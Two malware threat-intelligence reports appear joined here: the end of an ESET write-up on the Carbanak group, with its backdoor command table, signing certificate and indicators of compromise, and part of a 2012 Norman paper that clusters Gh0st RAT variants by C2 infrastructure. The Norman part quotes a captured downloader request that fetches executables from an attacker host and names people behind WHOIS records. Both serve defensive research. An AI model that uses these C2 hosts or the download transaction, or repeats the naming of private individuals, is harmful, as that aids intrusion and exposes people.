We have seen RTF files with the following names used in attacks: prikaz-451.doc REMITTANCE ADVICE ON REJECTION.doc PROOF OF REMITTANCE ADVICE .doc HDHS739_230715_010711_A17C7148_INTERNAL.doc 27.07.2015.doc (Armenian: The Law on Banks and Banking 27.07.2015) PAYMENT DETAILS.doc 5/15 https://technet.microsoft.com/en-us/library/security/ms15-059.aspx - .doc (Russian: Alpha-bank contract) AML REPORTS_20082015_APPLICATION FORM-USD-MR VYDIAR.doc Anti-Money Laudering  Suspicious cases.doc ApplicationXformXUSDXduplicateXpayment.doc AML USD  Suspicious cases.doc Amendment inquiry ( reference TF1518869100.doc Information 2.doc Here is example of a spearphishing message that was sent to a bank in the United Arab Emirates: Here is example of a spearphishing email that was sent to a German bank: 6/15 Win32/Spy.
Agent.
ORM  Technical details Win32/Spy.
Agent.
ORM is a small and simple backdoor that enables the attackers to assess the victim.
When executed the trojan connects to a CC server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.
Based on that information malware operator decides whether the infected computer is useful: that is, whether its the intended target or just a system that was accidentally infected.
Here is list of commands that it can receive from CC server: Command Purpose 7/15 0x02 Collects information about computer: Computer Name, User Name, Windows Version, Architecture (32/64 bit) and campaign ID 0x03 Collects list of running processes 0x04 Downloads binary to TEMP and executes 0x05 Updates itself 0x06 Deletes itself 0x07 Makes screenshot 0x08 Loads binary in the memory, without dropping to the disk The latest sample of this malware family found in the wild is also digitally signed with a different certificate: The certificate details: Company name: In travel TOV 8/15 Validity: from 21 July 2015 to 21 July 2016 Thumbprint: 7809fbd8d24949124283b9ff14d12da497d9c724 Serial number: 00dfd915e32c5f3181a0cdf0aff50f8052 Subject: CN  In travel TOV O  In travel TOV STREET  prospekt Pravdi 33 L  Kiev S  Kievskaja PostalCode  04108 C  UA Also, the latest sample is able to gain system privileges via an exploit and install itself as a system service.
The trojan attempts to exploit a vulnerability  CVE-2015-2426 in the OpenType manager module (ATMFD.dll)  which was patched by Microsoft in MS15-078.
The exploit for this vulnerability was leaked in a Hacking Team dump.
The digital certificate for Blik used in this case is not the only link between Win32/Spy.
Agent.
ORM and Win32/Spy.
Sekur (Carbanak malware).
They share similarities in code  take a look at the function that generates the BOTID-value, for example: 9/15 https://technet.microsoft.com/en-us/library/security/ms15-078.aspx http://www.welivesecurity.com/2015/07/06/400gb-info-leaked-hacking-team/ The BOTID-value is a unique value generated on the basis of the hardware parameters of infected computer, and its used by attackers for computer identification.
In both cases generation is based on the MAC-address and computer name and the resulting value is formatted using the wsprintf function.
Sinkhole statistics 10/15 Our sinkhole of some CC domains used by the Win32/Wemosis has resulted in hits from bots in the following countries.
As the attacks are highly targeted, the total number of victims is low in absolute numbers.
Victims in the USA are situated in several states, including Nevada (Las Vegas), California, and New York, and include casinos and hotels.
Conclusions Even after it has reportedly stolen hundreds of millions of dollars, the infamous Carbanak APT group isnt resting on its laurels.
On the contrary, it is very active and keeps attacking specific targets related to the finance industry, including banks, Forex-trading companies, and even an American casino hotel.
Recently, we have detected malware used by the Carbanak group in the following countries, among others: United States of America Germany United Arab Emirates 11/15 As described in this blog post, the gang doesnt use just one malware family to carry out its operations but several.
While the code in the different families  Carbanak (Win32/Spy.
Sekur), Win32/Spy.
Agent.
ORM, and Win32/Wemosis  is different it does contain similar traits, including the same digital certificate.
Furthermore, the attackers are updating their arsenal with the latest exploits, such as the Microsoft Office remote code execution vulnerability, CVE-2015-1770, or the zero-day exploit leaked in the Hacking Team dumps, CVE-2015-2426.
We continue to monitor the Carbanak threats.
For any enquiries or sample submissions related to the subject, contact as at: threatinteleset.com.
Indicators of Compromise (IoC) Trojan.
Win32/Spy.
Sekur (Carbanak malware) SHA-1: A048C093C5DA06AF148CA75299960F618F878B3A 3552338D471B7A406D8F7E264E93B848075235C0 3A9A23C01393A4046A5F38FDBAC371D5D4A282F1 8D5F2BF805A9047D58309788A3C9E8DE395469A8 BCF9E4DCE910E94739728158C98578A8D145BE56 8330BC5A3DCC52A22E50187080A60D6DBF23E7E6 E838004A216E58C44553A168760100B497E514E8 CF1F97879A6EB26FEDC7207D6679DFA221DD2D45 7267791340204020727923CC7C8D65AFC18F6F5B F8CBF647A64028CAE835A750EF3F8D1AA216E46C 33870482BA7DE041587D4B809574B458C0673E94 3927835C620058EFCADF76642489FC13AACE305B D678BD90257CF859C055A82B4A082F9182EB3437 0B8605D0293D04BBF610103039768CBE62E2FAAE 7A9BE31078BC9B5FECE94BC1A9F45B7DBF0FCE12 RTF-exploits SHA-1: D71E310ADF183F02E36B06D166F8E3AD54FDBCC9 5B6ABA51215A9662987F59AEF6CAE0A9E3A720B8 1AD84A244B7D4FBB4D89D023B21715B346027E49 E8514BF4C4E1F35FB1737C2F28A4A4CED07AA649 68EA12CDCCEE01D50C23EBC29CAA96BF40925DC6 AC95F01487B4F179A1F10684B1E0A5656940A005 12/15 mailto:threatinteleset.com B4A94A214FC664B8D184154431E1C5A73CA0AE63 Trojan.
Win32/Spy.
Sekur C2 servers: weekend-service.com:80 seven-sky.org:80 comixed.org:80 91.207.60.68:80 89.144.14.65:80 87.98.217.9:443 82.163.78.188:443 50.62.171.62:700 31.3.155.123:443 216.170.116.120:80 216.170.116.120:700 216.170.116.120:443 194.146.180.58:80 193.203.48.41:700 185.29.9.28:443 178.209.50.245:443 162.221.183.11:80 162.221.183.11:443 162.221.183.109:443 141.255.167.28:443 104.232.32.62:443 104.232.32.61:443 Trojan.
Win32/Spy.
Agent.
ORM SHA-1: 2DD485729E0402FD652CF613E172EA834B5C9077 5E8B566095FD6A98949EF5C479CE290F520DD9E2 8C2C08111F76C84C7573CF07C3D319A43180E734 36093A6004A9502079B054041BADC43C69A0BDEB 6F452C76F7AC00FE1463314F5AA0A80EC4F7360C 850E9A10E6D20D33C8D2C765E22771E8919FC3EE A09F520DDED0D5292A5FA48E80DE02F9AF718D06 3707029DC5CBBE17FD4DE34134847F92E7324C45 905D0842CC246A772C595B8CF4A4E9E517683EB7 237784574AFB8868213C900C18A114D3FA528B95 6090853934833D0814F9239E6746161491CCCB44 13/15 3672C9F4E7F647F2AF9AE6D5EA8D9C7FF16FAF40 EC5DADAACAE763D0E55CE6A78C9A5F57B01A5135 4E8EE08FF4F8DC06AFF8DE2E476AFAFBA58BDC11 A734193F550DDA5C1FFD9FEC3A0186A0A793449C EFC0555418A6ED641047D29178D0DA3AEFA7ADEB B79E6A21D8C2813EC2279727746BDB685180751A 4DB58E7D0FCA8D6748E17087EB34E562B78E1FDE 567749B4F2330F02DD181C6C0840191CEE2186D9 3ACEA9477B219FC6B8C0A734E67339AE2EB2AA5B 2896814E5F8860E620AC633AF53A55D9AA21F8C0 84CC02B3C10306BFCECE8BF274B57475B056C6D6 207FF65543DAC6D1D9F86DFFD891C507AD24018B D627DD4E3850CBD571AFC4799A331054C7080B0D DCC932B878B374D47540D43A2DEE97F37D68267F 983D33F547588A59B53D7F794768B264454446D5 19E7C7A78C5D58945B615D98FF0990389485933F DED83A1E3B6630D69077976CC01321FBC946DCE2 170142C042BF32FF86AF680EAD86CD1AF075B0CB A77336620DF96642691C1E5B6C91511BFA76A5BE 3CEF1CA36A78CBA308FB29A46B20E5CA22D03289 DD01331ABFF03525506CDCBAC4D76CB4EFD602A4 RTF-exploits SHA-1: 1F9462AA39645376C74566D55866F7921BD848F7 81E43D653ACD2B55C8D3107E5B50007870D84D76 AC68AD2E5F5802A6AB9E7E1C1EC7FAB3C6BDBAA4 F869C7EA683337A2249908C21B9D3283CC2DD780 7162BB61CD36ED8B7EE98CBD0BFFEC33D34DD3E7 5943ABCF662DC9634B714B1358164B65E5651D15 A40BDF005B4B469D2C7BED1766C9DA9823E1CFB7 833A8D88BE11807BAE966D56B28AF7B3CC34DBCD AF7564EE7959142C3B0D9EB8129605C2AE582CB7 DCC932B878B374D47540D43A2DEE97F37D68267F 6FF3AE5BA4E9A312602CBD44A398A02AB0437378 32AA4911BC6AB8098E496CD88790FF7147EC6AC3 Trojan.
Win32/Spy.
Agent.
ORM  C2 Servers: 192.52.166.66 14/15 84.200.4.226 78.128.92.117 176.31.157.62 clients4-google.com (192.169.82.86) adobe-dns-3-adobe.com (78.128.92.112) img.in-travelusa.com (192.169.82.86) Tiny meterpreter SHA-1: 28D514FE46D8B5720FE27C40C3889F3B45967CC7 0B0884992F28A3C1439DBA60007076B22831CE51 Win32/Wemosis (PoS RAM Scraper) SHA-1: 5E31DB305A97736C0F419A3F2F8F093FF6A1F56F Win32/Wemosis  C2 server: 198.100.119.14 Author Anton Cherepanov, ESET 15/15 http://www.welivesecurity.com/author/acherepanov/ Carbanak gang is back and packing new guns Casino hotel hack Win32/Spy.
Agent.
ORM  Technical details Sinkhole statistics Conclusions Indicators of Compromise (IoC)
The many faces of Gh0st Rat Plotting the connections between malware attacks Snorre Fagerland, Principal Security Researcher Norman ASA N o r m a n  A S A  2 0 1 2  P a g e      2 Content Introduction ............................................................................................................................................. 3 The variants ............................................................................................................................................. 4 Clusters and links ..................................................................................................................................... 6 Overview plot  with Gh0st ..................................................................................................................... 7 Overview plot  without Gh0st ............................................................................................................... 8 Example botnet infrastructure: wk1888.com ....................................................................................... 11 Example botnet infrastructure: pk39.com ............................................................................................ 16 Individual clusters .................................................................................................................................. 18 Conclusions ............................................................................................................................................ 68 References ............................................................................................................................................. 69 N o r m a n  A S A  2 0 1 2  P a g e      3 Introduction Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago.
Just as with other well-featured off-the-shelf trojans like Poison Ivy, Hupigon and DarkComet it has been used by all sorts of people  from the script kiddie next door to resourceful targeted attack actors (1) Cybercriminals use off-the-shelf malware not only because its easy and cheap.
They also use it because its hard to track.
Anybody could use this malware, so the criminal could be anybody.
However, this changes somewhat when they start modifying the code.
The malware now becomes somewhat attributable and can be connected to known cases and criminal groups.
This document is the result of examining selected common traits between some 1200 Gh0st Rat program files (samples) with the help of Maltego, a tool to visualize data connections.
The samples were processed by us in a timeframe of approximately six months, from August 2011 to February 2012.
In this study we attempt to map out what logical connections do exist between different Gh0st botnet campaigns.
This is important because it gives an indication of the scale of operation and sometimes what the aims of the campaigns are, and this can be valuable for risk analysis.
Additional data produced by the study may be used for risk mitigation.
N o r m a n  A S A  2 0 1 2  P a g e      4 The variants The Gh0st Rat source code (version 3.6) is freely available on the Internet, something that has made it quite popular and sparked a multitude of modifications.
The resulting trojan can be hard to recognize as Gh0stRat, as attackers ditch various parts of the code that they dont need and add other functionality.
In addition, the trojan is packaged in different ways standalone, glued together with other files, included in self extracting archives.
It is frequently obfuscated and compressed.
As a result of all this, antivirus naming is variable, to put it mildly.
Most antivirus detections today are automatically generated, resulting in names thought out by machines.
Quick, but containing information only machines find interesting.
The most stable indicator of being faced with a Gh0stRat is its network communication.
It is well documented and quite distinctive, as it always begins with a magic word which in its default configuration is Gh0st  thus Gh0st Rat.
Below is a typical packet (content data blurred) Fig 1 The fields are magic identifier (Gh0st), size of packet, size of uncompressed packet, and lz-compressed data containing information about the compromised computer.
This magic tag is very easy to spot in network traffic, so the bad guys have come up with a countermeasure.
They use other magics.
I searched our in-house Malware Analyzer G2 (MAG2) pcaps for network traffic that matched the Gh0st packet format, and this showed about 50 different magics from the last few months.
There are many more in existence some are shown in Table 2, but as we had no traffic data on these, they were not investigated.
Table 1.
Gh0st magic tags used in this paper 7hero, Adobe, B1X6Z, BEiLa, BeiJi, ByShe, FKJP3, FLYNN, FWAPR, FWKJG, GWRAT, Gh0st, GOLDt, HEART, HTTPS, HXWAN, Heart, IM007, ITore, KOBBX, KrisR, LUCKK, LURK0, LYRAT, Level, Lover, Lyyyy, MYFYB, MoZhe, MyRat, OXXMM, PCRat, QWPOT, Spidern, Tyjhu, URATU, W0LFKO, Wangz, Winds, World, X6RAT, XDAPR, Xjjhj, ag0ft, attac, cb1st, https, whmhl, xhjyk N o r m a n  A S A  2 0 1 2  P a g e      5 Table 2.
Known Gh0st magics not investigated in this paper.
The length of the magic is by default 5 bytes, but this is not the case for all variants.
In Table 1 there are magics with non-standard length  Spidern and W0LFKO  and we have seen others that were not included in this investigation, like DrAgOn and QQ_124971919.
The Spidern variant is non-standard in another way as well.
It does not compress its network traffic, something most other Gh0st do.
However, when looking at the code in the disassembler IDA Pro, the code relationship is clearly visible.
Fig 2 Spidern vs Gh0st comparison 00000, ABCDE, apach, Assas, Blues, chevr, CHINA, cyl22, DrAgOn EXXMM, Eyes1, Gi0st, GM110, Hello, httpx, kaGni, light, LkxCq, lvxYT, Naver, NIGHT, NoNul, Origi, QQ_124971919, Snown, SocKt, Super, Swrd, v2010, VGTLS, wcker, Wh0vt, wings, X6M9K, xqwf7, YANGZ N o r m a n  A S A  2 0 1 2  P a g e      6 Clusters and links Clusters are composed of samples that share common traits.
Usually this will be common magic tag, but this is not always the case.
Sometimes clusters can form around other parameters, such as common command  control (CC) infrastructure.
Logical links between clusters occur when samples, infrastructure components or other factors exhibit traits that belong in more than one cluster.
For example, a sample with a magic of cb1st obviously belongs in the cb1st cluster, but if the CC server it connects to also accepts connections from samples using the magic whmhl, then there is a logical link between the cb1st and whmhl clusters.
The strength of such links varies, as there always are possible sources of error which are difficult to map out fully.
Such uncertainties can be to what extent is a malware variation shared or sold, or to what extent is command  control infrastructure hired out or shared.
Because of these uncertainties, we will only point out where links do exist, without offering hard conclusions.
N o r m a n  A S A  2 0 1 2  P a g e      7 Overview plot  with Gh0st Fig 3 Overview with the Gh0st cluster This mosquito swarm consists of trojan files, interconnected primarily by their magic tag, but also by whatever other factor shared with other samples  which CC server they dial back to, and sometimes which IP address this resolves to.
The large kludge in the middle is the default Gh0st group totaling 522 nodes.
A better overview is perhaps gained by removing the Gh0st cluster from the graph, as it is the default configuration and not usable for connecting clusters.
Doing so results in a smaller set of more distinct clusters, where the connections are more visible.
N o r m a n  A S A  2 0 1 2  P a g e      8 Overview plot  without Gh0st Fig 4 Overview without the Gh0st cluster The clusters that link together form clusters of clusters.
Stealing unashamedly from astronomy, lets call these superclusters.
How such superclusters are linked together is detailed in the chapters that cover individual clusters later in this paper.
N o r m a n  A S A  2 0 1 2  P a g e      9 Supercluster one This collection of linked clusters contain some of the most populous in the whole set.
They are linked through the usage of the same CC servers, through the same malware, and through the same observed network traffic.
The links running through the PCRat cluster are dotted red as they are presumably weaker than the others.
N o r m a n  A S A  2 0 1 2  P a g e      10 Supercluster two Supercluster two contains some small and medium size nodes, and indeed one cluster, IM007, that has no registered samples in this sample set.
Some samples from these clusters have exhibited behavior indicating that they have been used in connection with game account theft.
N o r m a n  A S A  2 0 1 2  P a g e      11 Example botnet infrastructure: wk1888.com A large amount of samples connected to www.wk1888.com.
This host accepted connections from at least two botnet clusters  Gh0st on port 8000, and cb1st on port 8181.
We have also seen Gh0st samples attempting to connect on port 8080 without being able to establish communication.
This multi-botnet support appears usually to be related to timing.
Based on the header timestamp of the trojan files, the port 8181 cb1st samples were predominantly created May- June 2011, while the port 8000 Gh0st samples were created Sept-Oct 2011.
01.05.2011 01.12.2011 01.06.2011 01.07.2011 01.08.2011 01.09.2011 01.10.2011 01.11.2011 31.05.2011 cb1st (23x) 05.06.2011 cb1st (35x) 12.06.2011 cb1st (42x) 14.06.2011 cb1st (1x) 02.09.2011 cb1st (1x) 18.09.2011 Gh0st (5x) 22.09.2011 Gh0st (5x) 25.09.2011 Gh0st (5x) 28.09.2011 Gh0st (9x) 29.09.2011 Gh0st (10x) 03.10.2011 Gh0st (9x) 10.11.2011 Gh0st (1x) Compile timeline for binaries connecting to wk1888.com WK1888.COM has resolved to many IP addresses over time, all belonging to Krypt Technologies [AS 35908], a US-based VPS hosting service.
At the time of writing the IP is 174.139.51.150.
The same WHOIS info points to the domains af0575.com and fz0575.com, both associated with earlier Gh0st Rat samples, and to the domains wt1888.com and 81266966.com.
N o r m a n  A S A  2 0 1 2  P a g e      12 The wk1888.com host ran at one point a webserver on port 2011 where it hosted download information and more executables to download.
A sample which used this functionality was a downloader executable (md5  b6e900f8a14740aa6ad3e755dc2d14bb), which performed the transaction below: The 1.exe file (md5 00118d190f8a30e6dc70b394e603d155) is a Gh0st trojan of the cb1st cluster, connecting back to wk1888.com on port 8181.
The xf80.exe file is a DarkShell DDOS trojan (md5 d47e37178c0d5b8780b97ce4e7c0e06b).
Similar functionality was seen on wt1888.com (e.g.
68fdd8adf91308cf35a2e86b15ce6cdd) (2), and on 81266966.com.
The latter hosted downloader and DDOS trojans that connected back to wk1888.com (3) GET /1.txt?abc78823 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET4.0C .NET4.0E) Host: www.wk1888.com:2011 Connection: Keep-Alive HTTP/1.1 200 OK Content-Length: 69 Content-Type: text/plain Last-Modified: Tue, 15 Nov 2011 12:02:04 GMT Accept-Ranges: bytes ETag: d446d6638ea3cc1:276 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Wed, 16 Nov 2011 01:26:05 GMT hxxp://www.wk1888.com:2011/1.exe hxxp://www.wk1888.com:2011/xf80.exe http://support.clean-mx.de/clean-mx/viruses.php?domainwt1888.com N o r m a n  A S A  2 0 1 2  P a g e      13 Attribution wk1888.com The WHOIS information for wk1888.com is as follows: WK1888.COM Administrative Contact: meng, meng  1377887494qq.com east china jiaotong university nanchang, jiangxi 330013 China The same registration information is used for the domains 81266966.COM, WT1888.COM, FZ0575.COM and AF0575.COM.
Googling the email address 1377887494qq.com shows that it is also used to register the domain boyul.com, but with different address/phone information.
BOYUL.COM Administrative Contact: wenyan zhong  1377887494qq.com telephone: 86.051052478530 fax      : 86.051052478531 jiangsu wuxi hehuali wuxi jiangsu 214000 CN Boyul.com resolves at the time of writing to the IP 174.139.63.18, which also belongs to Krypt Technologies and has historically even been resolved to by wk1888.com.
The data (phone/address) used to register boyul.com match literally thousands of other domain registrations: HON168.COM, 1585GB.COM, ZJHD518.COM, 17173CGW.COM etc.
The QQ address 1377887494 is used in several advertisements on the hacking forum my3800.com (Central China Honker Security): GH0ST 50200 QQ:1377887494 Translation: Selling undetected GH0ST kits.
A package of 50 zombie machines (chicken) comes included, for 200 yuan (ca 35 USD) a month.
Rent zombie machines pr day or pr month, contact me.
N o r m a n  A S A  2 0 1 2  P a g e      14 The QQ number is also found on the forum beishan.info (4), where the poster complains about problems with the registration of the domain www.sock8.com, which he claims he has bought from a registered seller on taobao.com.
Taobao is the Chinese version of eBay.
This post was made May 27th 2011.
The WHOIS info for the sock8.com domain shows that May 19th it was apparently reclaimed by Netfirms and returned to a parking IP.
Before this, the domain was registered by one bingxian feng: Administrative Info: bingxian feng bingxian feng na jiangmen, NA 529700 China Phone: 1.102251166 Fax..: Email: a916196832yahoo.com Last modified: 2011-04-11 11:47:43 GMT In the period from the domain was registered by Bingxian Feng April 11th to its apparent seizure in May a number of Ghost trojans surfaced which connected to the sock8 domain.
These had an apparent compile date April 12th and 13th.
Googling for Fengs email address in the WHOIS shows that it is used for registering literally hundreds of domains.
Not only that, but it turns out that this player is well known domestically in China (5), where this person allegedly has been involved in pornography, mobile phone scams,  game theft, and phishing attacks against among others Peoples bank of China.
http://www.nanchang.cyberpolice.cn/show_news.asp?ID1160 N o r m a n  A S A  2 0 1 2  P a g e      15 There are several cyberpolice departments (also known as Net Cop) in China, organized by regions.
N o r m a n  A S A  2 0 1 2  P a g e      16 Example botnet infrastructure: pk39.com This domain is the second of the two main hubs controlling the cb1st cluster.
As previously mentioned ddos.pk39.com also operates CC for the whmhl cluster, and the host down.pk39.com has acted as download server for other malware, typically DDOS trojans of various kinds.
The Gh0st trojans dialing home to www.pk39.com were with few exceptions created Jan 13th 2011.
01.01.2011 01.09.2011 01.02.2011 01.03.2011 01.04.2011 01.05.2011 01.06.2011 01.07.2011 01.08.2011 Compile timeline for binaries connecting to pk39.com 13.01.2011 cb1st (16x) 20.02.2011 cb1st (1x) 21.08.2011 cb1st (1x) Attribution pk39.com Its WHOIS information is as follows: PK39.COM Administrative Contact: Name           : zheng xuming Organization   : zheng xuming Address        : leqing huayuan lukou City           : xianggangtebiexingzhengqu Province/State : xianggangtebiexingzhengqu Country        : xianggangtebiexingzhengqu Email          : 924539333qq.com The email 924539333qq.com shows up a number of places through Google.
One interesting reference is found on the site www.kissqc.com, which just says: N o r m a n  A S A  2 0 1 2  P a g e      17 This is not the only defacement attributable to CC  his name is found several places in similar fashion.
He also appears to use another handle frequently associated with hacking.
These handles appear to match the online profile of a male in his mid-twenties, living in Changzhou in the Jiangsu province of China.
He appears to be involved in many other projects, from Android development to network security tools.
The word Ghost is ironically used in a lot of his projects.
N o r m a n  A S A  2 0 1 2  P a g e      18 Individual clusters What follows is a listing and description of the individual botnet clusters.
This is fairly lengthy, so feel free to skip to Conclusion towards the end of the document.
Some explanation to the individual cluster graphs to come: Brown nodes are samples Blue nodes are malware families (i.e.
usually Gh0st variants) Yellow nodes are CC servers (hardcoded IP or DNS name) Purple nodes are resolved IP addresses N o r m a n  A S A  2 0 1 2  P a g e      19 Cluster: 7hero The 7hero cluster has two samples in the set.
It is linked with the PCRat cluster through the shared IP address 61.147.123.11 between the PCRat server at 429861812.3322.org and the 7hero CC server at z429861812.3322.org.
This could have been a coincidence - however, they both also connected at port 4928, something that only these two samples in the whole test set did.
z429861812.3322.org is also used as CC for samples in the Gh0st cluster.
N o r m a n  A S A  2 0 1 2  P a g e      20 Cluster: Adobe The Adobe cluster contains one sample, and appears not linked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      21 Cluster: ag0ft The ag0ft cluster contains one sample, and appears not linked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      22 Cluster: attac The attac cluster contains one sample, and is linked with the Xjjhj cluster through shared CC at junfang21.3322.org.
This CC server has also served as CC for Netbot Attacker DDOS bots.
N o r m a n  A S A  2 0 1 2  P a g e      23 Cluster: B1X6Z The B1X6Z cluster contains one sample, and appears not linked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      24 Cluster: BeiJi The BeiJi cluster contains five samples.
Two of these samples connect to hong546049008.3322.org, a server which is shared with the IM007 cluster.
N o r m a n  A S A  2 0 1 2  P a g e      25 Cluster: BEiLa This cluster contains 5 samples and is linked with the IM007 cluster through observed traffic from the CC server aa6688519.3322.org.
N o r m a n  A S A  2 0 1 2  P a g e      26 Cluster: ByShe The ByShe cluster is interesting, as it has been documented used in targeted attacks against Tibetan groups  (6) and also connected with the Nitro attacks (7).
Five samples exist in this cluster, though no other clusters links with it.
http://labs.alienvault.com/labs/index.php/2012/targeted-attacks-against-tibet-organizations/ http://blog.trendmicro.com/the-significance-of-the-nitro-attacks/ N o r m a n  A S A  2 0 1 2  P a g e      27 Cluster: cb1st The cb1st cluster is one of the larger, with 154 samples.
The major CCs here are www.wk1888.com and www.pk39.com.
The wk1888.com host also acts as CC for many samples in the Gh0st cluster.
cb1st is linked with the KrisR, XDAPR and FKJP3 clusters through the CC at daduji.3322.org.
The www.pk39.com host links cb1st with the whmhl cluster through observed traffic (see whmhl).
N o r m a n  A S A  2 0 1 2  P a g e      28 Cluster: FKJP3 There is only one sample in this cluster.
Through its CC at daduji.3322.org it links to KrisR, XDAPR and cb1st clusters.
N o r m a n  A S A  2 0 1 2  P a g e      29 Cluster: FLYNN The FLYNN cluster consists of 6 samples.
It is linked with the KrisR cluster because of common CC at 118.126.16.86 and observed traffic returning FLYNN to a KrisR sample.
MD5                              Host                 IP            Port Outgoing Incoming 919a4d03cc9dde709b0f2b05a082b179 haidishijie.3322.org 118.126.16.86 8888 KrisR    Gh0st 5217f4148fcfabee2791611cfce27997 sr887.3322.org       118.126.16.86 6666 FLYNN    FLYNN a28d90a77ae2d8977c31329b1e396f2f sr887.3322.org       118.126.16.86 6666 FLYNN    FLYNN 3db213a3f5df462c8bb6cf896af63d28 haidishijie.3322.org 118.126.16.86 6666 KrisR    FLYNN 500f7f5f27ee2e4652204313dc2fcb91 haidishijie.3322.org 118.126.16.86 8888 KrisR    Gh0st N o r m a n  A S A  2 0 1 2  P a g e      30 Cluster: FWAPR The FWAPR cluster contains one sample, and appears not linked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      31 Cluster: FWKJG The FWKJG cluster contains one sample, and appears not linked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      32 Cluster: Gh0st The Gh0st cluster is by far the largest with 522 samples in the test set.
Since this is the default configuration, not much relational information can be inferred from it, even if it shares links with many of the other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      33 Cluster: GOLDt The GOLDt cluster contains one sample, and appears not linked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      34 Cluster: GWRAT The GWRAT cluster contains one sample, and is linked to the MoZhe cluster through returned traffic from its CC server oa9188.3322.org.
N o r m a n  A S A  2 0 1 2  P a g e      35 Cluster: HEART There are 7 samples in the HEART cluster.
HEART links with KOBBX through common CC at gyxa.3322.org.
It also links with the PCRat cluster through a common IP at 60.190.219.234.
N o r m a n  A S A  2 0 1 2  P a g e      36 Cluster: Heart The Heart cluster consists of 26 samples, and is connected with the main Gh0st cluster through the CC at wangyanlei.3322.org.
Some of these samples (the ones connecting to in1987.3322.org and saaip.3322.org) use uncompressed communication, which is unusual for Gh0st Rat.
N o r m a n  A S A  2 0 1 2  P a g e      37 Cluster: HTTPS There are two samples in this cluster, but we see no further links with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      38 Cluster: https The https cluster contains one sample, and appears not linked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      39 Cluster: HXWAN The HXWAN cluster consists of 14 samples.
It is linked with the KrisR,  Lyyyy and XDAPR clusters (See KrisR).
N o r m a n  A S A  2 0 1 2  P a g e      40 Cluster: IM007 The IM007 cluster surprisingly contains no samples.
The reason it exists at all is that we have logged several CC servers replying with this magic tag, so it is a reasonable assumption that there must exist samples that follow this protocol.
The servers we have seen with this behavior have been used by the BeiJi, BEiLa and Wangz clusters, thus linking these.
In at least two cases we have seen samples from these clusters showing images of Dungeon Fighter Online virtual items when run, apparently as a lure for game account theft.
Bamboo Bracelet, an expensive ingame item in DFO.
N o r m a n  A S A  2 0 1 2  P a g e      41 Cluster: ITore The ITore cluster appears unconnected to other clusters.
The executables are significantly different from other Gh0st Rats and may be another family altogether, even if the communication is similar.
N o r m a n  A S A  2 0 1 2  P a g e      42 Cluster: KOBBX The KOBBX cluster consists of 13 samples in the set.
It is linked with the HEART cluster through the common CC at gyxa.3322.org, and to the LUCKK cluster through miscommunication from wjdl.3322.org.
N o r m a n  A S A  2 0 1 2  P a g e      43 Cluster: KrisR The KrisR cluster consists of 205 samples.
The magic tag is actually KrisRat, but the tag is truncated in traffic to the regular first 5 bytes.
By far most samples connect back to haidishijie.3322.org, but many other CCs are in use.
This cluster links with: FLYNN: see FLYNN Gh0st:  f. ex.
haidishijie.3322.org returned Gh0st in all cases when receiving KrisR on port 8888 HXWAN: common CC at ssky.8866.org Lyyyy: common CC at ssky.8866.org XDAPR: common CC at ssky.8866.org cb1st: common CC at daduji.3322.org FKJP3: common CC at daduji.3322.org N o r m a n  A S A  2 0 1 2  P a g e      44 Cluster: Level The Level cluster consists of two samples.
It appears unlinked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      45 Cluster: Lover The Lover cluster consists of two samples.
It appears unlinked with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      46 Cluster: LUCKK The LUCKK cluster consists of four samples in the set.
It is linked with the KOBBX cluster though communication (see KOBBX).
N o r m a n  A S A  2 0 1 2  P a g e      47 Cluster: LURK0 The LURK0 cluster consists of four samples in the set.
This cluster was documented as connected with the SK Communications breach in South Korea in 2011 (8), and has been seen used against Tibetan groups (9), (10).
It is also linked with the OXXMM cluster through the usage of a common CC at the hardcoded IP 218.28.72.138.
N o r m a n  A S A  2 0 1 2  P a g e      48 Cluster: LYRAT The LYRAT cluster consists of four samples.
It appears unconnected with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      49 Cluster: Lyyyy The Lyyyy cluster consists of 4 samples.
It is linked with the KrisR, HXWAN and XDAPR clusters (See KrisR).
N o r m a n  A S A  2 0 1 2  P a g e      50 Cluster: MoZhe This cluster consists of 87 samples.
Most of these connect back to b2bweb.3322.org.
MoZhe is linked with X6RAT: common CC at ingalar.3322.org Winds: common CC at hkl8973875.3322.org Additional links are seen through observed traffic.
GWRAT: The GWRAT CC oa9188.3322.org replies with MoZhe (See GWRAT) KrisR: The MoZhe CC at ingalar.3322.org replies with KrisR: N o r m a n  A S A  2 0 1 2  P a g e      51 Cluster: MYFYB The MYFYB cluster contains three samples.
It does not appear connected with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      52 Cluster: MyRat The MyRat cluster contains two samples.
It appears unconnected with other clusters.
N o r m a n  A S A  2 0 1 2  P a g e      53 Cluster: OXXMM The OXXMM cluster contains eight samples.
It connects with the Gh0st main cluster through common CC at a6422563.vicp.net and to the LURK0 cluster through common CC at 218.28.72.138.
N o r m a n  A S A  2 0 1 2  P a g e      54 Cluster: PCRat This cluster contains 25 samples, and is linked with the HEART cluster (see HEART), the 7hero cluster (see 7hero) as well as the main Gh0st cluster through the common CC at tajs.3322.org.
It is also linked to the Winds cluster through common CC at mstsc5.3322.org.
PCRat samples have been documented used against Uyghur groups (11).
It is debatable how valid the PCRat connections are.
There is apparently a commercially available modification of Gh0st rat called PCRat, which we have not yet seen copies of.
If that kit uses the PCRat magic tag as there is reason to suspect, this cluster is of little value.
N o r m a n  A S A  2 0 1 2  P a g e      55 Cluster: QWPOT The QWPOT cluster contains only one sample.
It is connected to the Xjjhj and Gh0st clusters through its CC at s17178.3322.org.
N o r m a n  A S A  2 0 1 2  P a g e      56 Cluster: Spidern The Spidern cluster consists of five samples.
